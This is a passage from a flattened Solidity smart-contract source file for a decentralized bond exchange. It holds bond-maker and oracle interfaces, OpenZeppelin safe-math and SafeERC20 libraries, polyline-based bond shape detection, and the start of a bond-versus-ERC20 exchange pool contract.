VolatilityOracleInterface { function getVolatility(uint64 untilMaturity) external view returns (uint64 volatilityE8); } // File: contracts/util/TransferETHInterface.sol pragma solidity 0.6.6; interface TransferETHInterface { receive() external payable; event LogTransferETH(address indexed from, address indexed to, uint256 value); } // File: contracts/bondToken/BondTokenInterface.sol pragma solidity 0.6.6; interface BondTokenInterface is IERC20 { event LogExpire(uint128 rateNumerator, uint128 rateDenominator, bool firstTime); function mint(address account, uint256 amount) external returns (bool success); function expire(uint128 rateNumerator, uint128 rateDenominator) external returns (bool firstTime); function simpleBurn(address account, uint256 amount) external returns (bool success); function burn(uint256 amount) external returns (bool success); function burnAll() external returns (uint256 amount); function getRate() external view returns (uint128 rateNumerator, uint128 rateDenominator); } // File: contracts/bondMaker/BondMakerInterface.sol pragma solidity 0.6.6; interface BondMakerInterface { event LogNewBond( bytes32 indexed bondID, address indexed bondTokenAddress, uint256 indexed maturity, bytes32 fnMapID ); event LogNewBondGroup( uint256 indexed bondGroupID, uint256 indexed maturity, uint64 indexed sbtStrikePrice, bytes32[] bondIDs ); event LogIssueNewBonds( uint256 indexed bondGroupID, address indexed issuer, uint256 amount ); event LogReverseBondGroupToCollateral( uint256 indexed bondGroupID, address indexed owner, uint256 amount ); event LogExchangeEquivalentBonds( address indexed owner, uint256 indexed inputBondGroupID, uint256 indexed outputBondGroupID, uint256 amount ); event LogLiquidateBond( bytes32 indexed bondID, uint128 rateNumerator, uint128 rateDenominator ); function registerNewBond(uint256 maturity, bytes calldata fnMap) external returns ( bytes32 bondID, address bondTokenAddress, bytes32 fnMapID ); function registerNewBondGroup( bytes32[] calldata bondIDList, uint256 maturity ) external returns (uint256 bondGroupID); function reverseBondGroupToCollateral(uint256 bondGroupID, uint256 amount) external returns (bool success); function exchangeEquivalentBonds( uint256 inputBondGroupID, uint256 outputBondGroupID, uint256 amount, bytes32[] calldata exceptionBonds ) external returns (bool); function liquidateBond(uint256 bondGroupID, uint256 oracleHintID) external returns (uint256 totalPayment); function collateralAddress() external view returns (address); function oracleAddress() external view returns (PriceOracleInterface); function feeTaker() external view returns (address); function decimalsOfBond() external view returns (uint8); function decimalsOfOraclePrice() external view returns (uint8); function maturityScale() external view returns (uint256); function nextBondGroupID() external view returns (uint256); function getBond(bytes32 bondID) external view returns ( address bondAddress, uint256 maturity, uint64 solidStrikePrice, bytes32 fnMapID ); function getFnMap(bytes32 fnMapID) external view returns (bytes memory fnMap); function getBondGroup(uint256 bondGroupID) external view returns (bytes32[] memory bondIDs, uint256 maturity); function generateFnMapID(bytes calldata fnMap) external view returns (bytes32 fnMapID); function generateBondID(uint256 maturity, bytes calldata fnMap) external view returns (bytes32 bondID); } // File: contracts/bondPricer/Enums.sol pragma solidity 0.6.6; /** Pure SBT: ___________ / / / / LBT Shape: / / / / ______/ SBT Shape: ______ / / _______/ Triangle: /\ / \ / \ _______/ \________ */ enum BondType {NONE, PURE_SBT, SBT_SHAPE, LBT_SHAPE, TRIANGLE} // File: contracts/bondPricer/BondPricerInterface.sol pragma solidity 0.6.6; interface BondPricerInterface { /** * @notice Calculate bond price and leverage by black-scholes formula. * @param bondType type of target bond. * @param points coodinates of polyline which is needed for price calculation * @param spotPrice is a oracle price. * @param volatilityE8 is a oracle volatility. * @param untilMaturity Remaining period of target bond in second **/ function calcPriceAndLeverage( BondType bondType, uint256[] calldata points, int256 spotPrice, int256 volatilityE8, int256 untilMaturity ) external view returns (uint256 price, uint256 leverageE8); } // File: @openzeppelin/contracts/math/SignedSafeMath.sol /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // File: @openzeppelin/contracts/utils/SafeCast.sol /** * @dev Wrappers over Solidity's uintXX casting operators with added overflow * checks. * * Downcasting from uint256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} to extend it to smaller types, by performing * all math on `uint256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File: contracts/math/UseSafeMath.sol pragma solidity 0.6.6; /** * @notice ((a - 1) / b) + 1 = (a + b -1) / b * for example a.add(10**18 -1).div(10**18) = a.sub(1).div(10**18) + 1 */ library SafeMathDivRoundUp { using SafeMath for uint256; function divRoundUp( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { if (a == 0) { return 0; } require(b > 0, errorMessage); return ((a - 1) / b) + 1; } function divRoundUp(uint256 a, uint256 b) internal pure returns (uint256) { return divRoundUp(a, b, "SafeMathDivRoundUp: modulo by zero"); } } /** * @title UseSafeMath * @dev One can use SafeMath for not only uint256 but also uin64 or uint16, * and also can use SafeCast for uint256. * For example: * uint64 a = 1; * uint64 b = 2; * a = a.add(b).toUint64() // `a` become 3 as uint64 * In addition, one can use SignedSafeMath and SafeCast.toUint256(int256) for int256. * In the case of the operation to the uint64 value, one needs to cast the value into int256 in * advance to use `sub` as SignedSafeMath.sub not SafeMath.sub. * For example: * int256 a = 1; * uint64 b = 2; * int256 c = 3; * a = a.add(int256(b).sub(c)); // `a` becomes 0 as int256 * b = a.toUint256().toUint64(); // `b` becomes 0 as uint64 */ abstract contract UseSafeMath { using SafeMath for uint256; using SafeMathDivRoundUp for uint256; using SafeMath for uint64; using SafeMathDivRoundUp for uint64; using SafeMath for uint16; using SignedSafeMath for int256; using SafeCast for uint256; using SafeCast for int256; } // File: contracts/util/Polyline.sol pragma solidity 0.6.6; contract Polyline is UseSafeMath { struct Point { uint64 x; // Value of the x-axis of the x-y plane uint64 y; // Value of the y-axis of the x-y plane } struct LineSegment { Point left; // The left end of the line definition range Point right; // The right end of the line definition range } /** * @notice Return the value of y corresponding to x on the given line. line in the form of * a rational number (numerator / denominator). * If you treat a line as a line segment instead of a line, you should run * includesDomain(line, x) to check whether x is included in the line's domain or not. * @dev To guarantee accuracy, the bit length of the denominator must be greater than or equal * to the bit length of x, and the bit length of the numerator must be greater than or equal * to the sum of the bit lengths of x and y. */ function _mapXtoY(LineSegment memory line, uint64 x) internal pure returns (uint128 numerator, uint64 denominator) { int256 x1 = int256(line.left.x); int256 y1 = int256(line.left.y); int256 x2 = int256(line.right.x); int256 y2 = int256(line.right.y); require(x2 > x1, "must be left.x < right.x"); denominator = uint64(x2 - x1); // Calculate y = ((x2 - x) * y1 + (x - x1) * y2) / (x2 - x1) // in the form of a fraction (numerator / denominator). int256 n = (x - x1) * y2 + (x2 - x) * y1; require(n >= 0, "underflow n"); require(n < 2**128, "system error: overflow n"); numerator = uint128(n); } /** * @notice Checking that a line segment is a valid format. */ function assertLineSegment(LineSegment memory segment) internal pure { uint64 x1 = segment.left.x; uint64 x2 = segment.right.x; require(x1 < x2, "must be left.x < right.x"); } /** * @notice Checking that a polyline is a valid format. */ function assertPolyline(LineSegment[] memory polyline) internal pure { uint256 numOfSegment = polyline.length; require(numOfSegment != 0, "polyline must not be empty array"); LineSegment memory leftSegment = polyline[0]; // mutable int256 gradientNumerator = int256(leftSegment.right.y) - int256(leftSegment.left.y); // mutable int256 gradientDenominator = int256(leftSegment.right.x) - int256(leftSegment.left.x); // mutable // The beginning of the first line segment's domain is 0. require( leftSegment.left.x == uint64(0), "the x coordinate of left end of the first segment must be 0" ); // The value of y when x is 0 is 0. require( leftSegment.left.y == uint64(0), "the y coordinate of left end of the first segment must be 0" ); // Making sure that the first line segment is a correct format. assertLineSegment(leftSegment); // The end of the domain of a segment and the beginning of the domain of the adjacent // segment must coincide. LineSegment memory rightSegment; // mutable for (uint256 i = 1; i < numOfSegment; i++) { rightSegment = polyline[i]; // Make sure that the i-th line segment is a correct format. assertLineSegment(rightSegment); // Checking that the x-coordinates are same. require( leftSegment.right.x == rightSegment.left.x, "given polyline has an undefined domain." ); // Checking that the y-coordinates are same. require( leftSegment.right.y == rightSegment.left.y, "given polyline is not a continuous function" ); int256 nextGradientNumerator = int256(rightSegment.right.y) - int256(rightSegment.left.y); int256 nextGradientDenominator = int256(rightSegment.right.x) - int256(rightSegment.left.x); require( nextGradientNumerator * gradientDenominator != nextGradientDenominator * gradientNumerator, "the sequential segments must not have the same gradient" ); leftSegment = rightSegment; gradientNumerator = nextGradientNumerator; gradientDenominator = nextGradientDenominator; } // rightSegment is lastSegment // About the last line segment. require( gradientNumerator >= 0 && gradientNumerator <= gradientDenominator, "the gradient of last line segment must be non-negative, and equal to or less than 1" ); } /** * @notice zip a LineSegment structure to uint256 * @return zip uint256( 0 ... 0 | x1 | y1 | x2 | y2 ) */ function zipLineSegment(LineSegment memory segment) internal pure returns (uint256 zip) { uint256 x1U256 = uint256(segment.left.x) << (64 + 64 + 64); // uint64 uint256 y1U256 = uint256(segment.left.y) << (64 + 64); // uint64 uint256 x2U256 = uint256(segment.right.x) << 64; // uint64 uint256 y2U256 = uint256(segment.right.y); // uint64 zip = x1U256 | y1U256 | x2U256 | y2U256; } /** * @notice unzip uint256 to a LineSegment structure */ function unzipLineSegment(uint256 zip) internal pure returns (LineSegment memory) { uint64 x1 = uint64(zip >> (64 + 64 + 64)); uint64 y1 = uint64(zip >> (64 + 64)); uint64 x2 = uint64(zip >> 64); uint64 y2 = uint64(zip); return LineSegment({ left: Point({x: x1, y: y1}), right: Point({x: x2, y: y2}) }); } /** * @notice unzip the fnMap to uint256[]. */ function decodePolyline(bytes memory fnMap) internal pure returns (uint256[] memory) { return abi.decode(fnMap, (uint256[])); } } // File: contracts/bondPricer/DetectBondShape.sol pragma solidity 0.6.6; contract DetectBondShape is Polyline { /** * @notice Detect bond type by polyline of bond. * @param bondID bondID of target bond token * @param submittedType if this parameter is BondType.NONE, this function checks up all bond types. Otherwise this function checks up only one bond type. * @param success whether bond detection succeeded or notice * @param points coodinates of polyline which is needed for price calculation **/ function getBondTypeByID( BondMakerInterface bondMaker, bytes32 bondID, BondType submittedType ) public view returns ( bool success, BondType, uint256[] memory points ) { (, , , bytes32 fnMapID) = bondMaker.getBond(bondID); bytes memory fnMap = bondMaker.getFnMap(fnMapID); return _getBondType(fnMap, submittedType); } /** * @notice Detect bond type by polyline of bond. * @param fnMap Function mapping of target bond token * @param submittedType If this parameter is BondType.NONE, this function checks up all bond types. Otherwise this function checks up only one bond type. * @param success Whether bond detection succeeded or not * @param points Coodinates of polyline which are needed for price calculation **/ function getBondType(bytes calldata fnMap, BondType submittedType) external pure returns ( bool success, BondType, uint256[] memory points ) { uint256[] memory polyline = decodePolyline(fnMap); LineSegment[] memory segments = new LineSegment[](polyline.length); for (uint256 i = 0; i < polyline.length; i++) { segments[i] = unzipLineSegment(polyline[i]); } assertPolyline(segments); return _getBondType(fnMap, submittedType); } function _getBondType(bytes memory fnMap, BondType submittedType) internal pure returns ( bool success, BondType, uint256[] memory points ) { if (submittedType == BondType.NONE) { (success, points) = _isSBT(fnMap); if (success) { return (success, BondType.PURE_SBT, points); } (success, points) = _isSBTShape(fnMap); if (success) { return (success, BondType.SBT_SHAPE, points); } (success, points) = _isLBTShape(fnMap); if (success) { return (success, BondType.LBT_SHAPE, points); } (success, points) = _isTriangle(fnMap); if (success) { return (success, BondType.TRIANGLE, points); } return (false, BondType.NONE, points); } else if (submittedType == BondType.PURE_SBT) { (success, points) = _isSBT(fnMap); if (success) { return (success, BondType.PURE_SBT, points); } } else if (submittedType == BondType.SBT_SHAPE) { (success, points) = _isSBTShape(fnMap); if (success) { return (success, BondType.SBT_SHAPE, points); } } else if (submittedType == BondType.LBT_SHAPE) { (success, points) = _isLBTShape(fnMap); if (success) { return (success, BondType.LBT_SHAPE, points); } } else if (submittedType == BondType.TRIANGLE) { (success, points) = _isTriangle(fnMap); if (success) { return (success, BondType.TRIANGLE, points); } } return (false, BondType.NONE, points); } function _isLBTShape(bytes memory fnMap) internal pure returns (bool isOk, uint256[] memory points) { uint256[] memory zippedLines = decodePolyline(fnMap); if (zippedLines.length != 2) { return (false, points); } LineSegment memory secondLine = unzipLineSegment(zippedLines[1]); if ( secondLine.left.x != 0 && secondLine.left.y == 0 && secondLine.right.x > secondLine.left.x && secondLine.right.y != 0 ) { uint256[] memory _lines = new uint256[](3); _lines[0] = secondLine.left.x; _lines[1] = secondLine.right.x; _lines[2] = secondLine.right.y; return (true, _lines); } return (false, points); } function _isTriangle(bytes memory fnMap) internal pure returns (bool isOk, uint256[] memory points) { uint256[] memory zippedLines = decodePolyline(fnMap); if (zippedLines.length != 4) { return (false, points); } LineSegment memory secondLine = unzipLineSegment(zippedLines[1]); LineSegment memory thirdLine = unzipLineSegment(zippedLines[2]); LineSegment memory forthLine = unzipLineSegment(zippedLines[3]); if ( secondLine.left.x != 0 && secondLine.left.y == 0 && secondLine.right.x > secondLine.left.x && secondLine.right.y != 0 && thirdLine.right.x > secondLine.right.x && thirdLine.right.y == 0 && forthLine.right.x > thirdLine.right.x && forthLine.right.y == 0 ) { uint256[] memory _lines = new uint256[](4); _lines[0] = secondLine.left.x; _lines[1] = secondLine.right.x; _lines[2] = secondLine.right.y; _lines[3] = thirdLine.right.x; return (true, _lines); } return (false, points); } function _isSBTShape(bytes memory fnMap) internal pure returns (bool isOk, uint256[] memory points) { uint256[] memory zippedLines = decodePolyline(fnMap); if (zippedLines.length != 3) { return (false, points); } LineSegment memory secondLine = unzipLineSegment(zippedLines[1]); LineSegment memory thirdLine = unzipLineSegment(zippedLines[2]); if ( secondLine.left.x != 0 && secondLine.left.y == 0 && secondLine.right.x > secondLine.left.x && secondLine.right.y != 0 && thirdLine.right.x > secondLine.right.x && thirdLine.right.y == secondLine.right.y ) { uint256[] memory _lines = new uint256[](3); _lines[0] = secondLine.left.x; _lines[1] = secondLine.right.x; _lines[2] = secondLine.right.y; return (true, _lines); } return (false, points); } function _isSBT(bytes memory fnMap) internal pure returns (bool isOk, uint256[] memory points) { uint256[] memory zippedLines = decodePolyline(fnMap); if (zippedLines.length != 2) { return (false, points); } LineSegment memory secondLine = unzipLineSegment(zippedLines[1]); if ( secondLine.left.x != 0 && secondLine.left.y == secondLine.left.x && secondLine.right.x > secondLine.left.x && secondLine.right.y == secondLine.left.y ) { uint256[] memory _lines = new uint256[](1); _lines[0] = secondLine.left.x; return (true, _lines); } return (false, points); } } // File: contracts/util/Time.sol pragma solidity 0.6.6; abstract contract Time { function _getBlockTimestampSec() internal view returns (uint256 unixtimesec) { unixtimesec = block.timestamp; // solhint-disable-line not-rely-on-time } } // File: contracts/generalizedDotc/BondExchange.sol pragma solidity 0.6.6; abstract contract BondExchange is UseSafeMath, Time { uint256 internal constant MIN_EXCHANGE_RATE_E8 = 0.000001 * 10**8; uint256 internal constant MAX_EXCHANGE_RATE_E8 = 1000000 * 10**8; int256 internal constant MAX_SPREAD_E8 = 10**8; // 100% /** * @dev the sum of decimalsOfBond of the bondMaker. * This value is constant by the restriction of `_assertBondMakerDecimals`. */ uint8 internal constant DECIMALS_OF_BOND = 8; /** * @dev the sum of decimalsOfOraclePrice of the bondMaker. * This value is constant by the restriction of `_assertBondMakerDecimals`. */ uint8 internal constant DECIMALS_OF_ORACLE_PRICE = 8; BondMakerInterface internal immutable _bondMakerContract; PriceOracleInterface internal immutable _priceOracleContract; VolatilityOracleInterface internal immutable _volatilityOracleContract; LatestPriceOracleInterface internal immutable _volumeCalculator; DetectBondShape internal immutable _bondShapeDetector; /** * @param bondMakerAddress is a bond maker contract. * @param volumeCalculatorAddress is a contract to convert the unit of a strike price to USD. */ constructor( BondMakerInterface bondMakerAddress, VolatilityOracleInterface volatilityOracleAddress, LatestPriceOracleInterface volumeCalculatorAddress, DetectBondShape bondShapeDetector ) public { _assertBondMakerDecimals(bondMakerAddress); _bondMakerContract = bondMakerAddress; _priceOracleContract = bondMakerAddress.oracleAddress(); _volatilityOracleContract = VolatilityOracleInterface( volatilityOracleAddress ); _volumeCalculator = volumeCalculatorAddress; _bondShapeDetector = bondShapeDetector; } function bondMakerAddress() external view returns (BondMakerInterface) { return _bondMakerContract; } function volumeCalculatorAddress() external view returns (LatestPriceOracleInterface) { return _volumeCalculator; } /** * @dev Get the latest price (USD) and historical volatility using oracle. * If the oracle is not working, `latestPrice` reverts. * @return priceE8 (10^-8 USD) */ function _getLatestPrice(LatestPriceOracleInterface oracle) internal returns (uint256 priceE8) { return oracle.latestPrice(); } /** * @dev Get the implied volatility using oracle. * @return volatilityE8 (10^-8) */ function _getVolatility( VolatilityOracleInterface oracle, uint64 untilMaturity ) internal view returns (uint256 volatilityE8) { return oracle.getVolatility(untilMaturity); } /** * @dev Returns bond tokenaddress, maturity, */ function _getBond(BondMakerInterface bondMaker, bytes32 bondID) internal view returns ( ERC20 bondToken, uint256 maturity, uint256 sbtStrikePrice, bytes32 fnMapID ) { address bondTokenAddress; (bondTokenAddress, maturity, sbtStrikePrice, fnMapID) = bondMaker .getBond(bondID); // Revert if `bondTokenAddress` is zero. bondToken = ERC20(bondTokenAddress); } /** * @dev Removes a decimal gap from the first argument. */ function _applyDecimalGap( uint256 baseAmount, uint8 decimalsOfBase, uint8 decimalsOfQuote ) internal pure returns (uint256 quoteAmount) { uint256 n; uint256 d; if (decimalsOfBase > decimalsOfQuote) { d = decimalsOfBase - decimalsOfQuote; } else if (decimalsOfBase < decimalsOfQuote) { n = decimalsOfQuote - decimalsOfBase; } // The consequent multiplication would overflow under extreme and non-blocking circumstances. require(n < 19 && d < 19, "decimal gap needs to be lower than 19"); return baseAmount.mul(10**n).div(10**d); } function _calcBondPriceAndSpread( BondPricerInterface bondPricer, bytes32 bondID, int16 feeBaseE4 ) internal returns (uint256 bondPriceE8, int256 spreadE8) { (, uint256 maturity, , ) = _getBond(_bondMakerContract, bondID); ( bool isKnownBondType, BondType bondType, uint256[] memory points ) = _bondShapeDetector.getBondTypeByID( _bondMakerContract, bondID, BondType.NONE ); require(isKnownBondType, "cannot calculate the price of this bond"); uint256 untilMaturity = maturity.sub( _getBlockTimestampSec(), "the bond should not have expired" ); uint256 oraclePriceE8 = _getLatestPrice(_priceOracleContract); uint256 oracleVolatilityE8 = _getVolatility( _volatilityOracleContract, untilMaturity.toUint64() ); uint256 leverageE8; (bondPriceE8, leverageE8) = bondPricer.calcPriceAndLeverage( bondType, points, oraclePriceE8.toInt256(), oracleVolatilityE8.toInt256(), untilMaturity.toInt256() ); spreadE8 = _calcSpread(oracleVolatilityE8, leverageE8, feeBaseE4); } function _calcSpread( uint256 oracleVolatilityE8, uint256 leverageE8, int16 feeBaseE4 ) internal pure returns (int256 spreadE8) { uint256 volE8 = oracleVolatilityE8 < 10**8 ? 10**8 : oracleVolatilityE8 > 2 * 10**8 ? 2 * 10**8 : oracleVolatilityE8; uint256 volTimesLevE16 = volE8 * leverageE8; // assert(volTimesLevE16 < 200 * 10**16); spreadE8 = (feeBaseE4 * ( feeBaseE4 < 0 || volTimesLevE16 < 10**16 ? 10**16 : volTimesLevE16 ) .toInt256()) / 10**12; spreadE8 = spreadE8 > MAX_SPREAD_E8 ? MAX_SPREAD_E8 : spreadE8; } /** * @dev Calculate the exchange volume on the USD basis. */ function _calcUsdPrice(uint256 amount) internal returns (uint256) { return amount.mul(_getLatestPrice(_volumeCalculator)) / 10**8; } /** * @dev Restirct the bond maker. */ function _assertBondMakerDecimals(BondMakerInterface bondMaker) internal view { require( bondMaker.decimalsOfOraclePrice() == DECIMALS_OF_ORACLE_PRICE, "the decimals of oracle price must be 8" ); require( bondMaker.decimalsOfBond() == DECIMALS_OF_BOND, "the decimals of bond token must be 8" ); } function _assertExpectedPriceRange( uint256 actualAmount, uint256 expectedAmount, uint256 range ) internal pure { if (expectedAmount != 0) { require( actualAmount.mul(1000 + range).div(1000) >= expectedAmount, "out of expected price range" ); } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/generalizedDotc/BondVsErc20Exchange.sol pragma solidity 0.6.6; abstract contract BondVsErc20Exchange is BondExchange { using SafeERC20 for ERC20; struct VsErc20Pool { address seller; ERC20 swapPairToken; LatestPriceOracleInterface swapPairOracle; BondPricerInterface bondPricer; int16 feeBaseE4; bool isBondSale; } mapping(bytes32 => VsErc20Pool) internal _vsErc20Pool; event LogCreateErc20ToBondPool( bytes32 indexed poolID, address indexed seller, address indexed swapPairAddress ); event LogCreateBondToErc20Pool( bytes32 indexed poolID, address indexed seller, address indexed swapPairAddress ); event LogUpdateVsErc20Pool( bytes32 indexed poolID, address swapPairOracleAddress, address bondPricerAddress, int16 feeBase // decimal: 4 ); event LogDeleteVsErc20Pool(bytes32 indexed poolID); event LogExchangeErc20ToBond( address indexed buyer, bytes32 indexed bondID, bytes32 indexed poolID, uint256 bondAmount, // decimal: 8 uint256 swapPairAmount, // decimal: ERC20.decimals() uint256 volume // USD, decimal: 8 ); event LogExchangeBondToErc20( address indexed buyer, bytes32 indexed bondID, bytes32 indexed poolID, uint256 bondAmount, // decimal: 8 uint256 swapPairAmount, // decimal: ERC20.decimals() uint256 volume // USD, decimal: 8 ); /** * @dev Reverts when the pool ID does not exist. */ modifier isExsistentVsErc20Pool(bytes32 poolID) { require( _vsErc20Pool[poolID].seller != address(0), "the exchange pair does not exist" ); _; } /** * @notice Exchange buyer's ERC20 token to the seller's bond. * @dev Ensure the seller has approved sufficient bonds and * you approve ERC20 token to pay before executing this function. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param swapPairAmount is the exchange pair token amount to pay. * @param expectedAmount is the bond amount to receive. * @param range (decimal: 3) */ function exchangeErc20ToBond( bytes32 bondID, bytes32 poolID, uint256 swapPairAmount, uint256 expectedAmount, uint256 range ) external returns (uint256 bondAmount) { bondAmount = _exchangeErc20ToBond( msg.sender, bondID, poolID, swapPairAmount ); // assert(bondAmount != 0); _assertExpectedPriceRange(bondAmount, expectedAmount, range); } /** * @notice Exchange buyer's bond to the seller's ERC20 token. * @dev Ensure the seller has approved sufficient ERC20 token and * you approve bonds to pay before executing this function. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param bondAmount is the bond amount to pay. * @param expectedAmount is the exchange pair token amount to receive. * @param range (decimal: 3) */ function exchangeBondToErc20( bytes32 bondID, bytes32 poolID, uint256 bondAmount, uint256 expectedAmount, uint256 range ) external returns (uint256 swapPairAmount) { swapPairAmount = _exchangeBondToErc20( msg.sender, bondID, poolID, bondAmount ); // assert(swapPairAmount != 0); _assertExpectedPriceRange(swapPairAmount, expectedAmount, range); } /** * @notice Returns the exchange rate including spread. */ function calcRateBondToErc20(bytes32 bondID, bytes32 poolID) external returns (uint256 rateE8) { (rateE8, , , ) = _calcRateBondToErc20(bondID, poolID); } /** * @notice Returns pool ID generated by the immutable pool settings. */ function generateVsErc20PoolID( address seller, address swapPairAddress, bool isBondSale ) external view returns (bytes32 poolID) { return _generateVsErc20PoolID(seller, swapPairAddress, isBondSale); } /** * @notice Register a new vsErc20Pool. */ function createVsErc20Pool( ERC20 swapPairAddress, LatestPriceOracleInterface swapPairOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4, bool isBondSale ) external returns (bytes32 poolID) { return _createVsErc20Pool( msg.sender, swapPairAddress, swapPairOracleAddress, bondPricerAddress, feeBaseE4, isBondSale ); } /** * @notice Update the mutable pool settings. */ function updateVsErc20Pool( bytes32 poolID, LatestPriceOracleInterface swapPairOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4 ) external { require( _vsErc20Pool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _updateVsErc20Pool( poolID, swapPairOracleAddress, bondPricerAddress, feeBaseE4 ); } /** * @notice Delete the pool settings. */ function deleteVsErc20Pool(bytes32 poolID) external { require( _vsErc20Pool[poolID].seller == msg.sender, "not the owner of the pool ID" ); _deleteVsErc20Pool(poolID); } /** * @notice Returns the pool settings. */ function getVsErc20Pool(bytes32 poolID) external view returns ( address seller, ERC20 swapPairAddress, LatestPriceOracleInterface swapPairOracleAddress, BondPricerInterface bondPricerAddress, int16 feeBaseE4, bool isBondSale ) { return _getVsErc20Pool(poolID); } /** * @dev Exchange buyer's ERC20 token to the seller's bond. * Ensure the seller has approved sufficient bonds and * buyer approve ERC20 token to pay before executing this function. * @param buyer is the buyer address. * @param bondID is the target bond ID. * @param poolID is the target pool ID. * @param swapPairAmount is the exchange pair token amount to pay. * @return bondAmount is the received bond amount. */ function 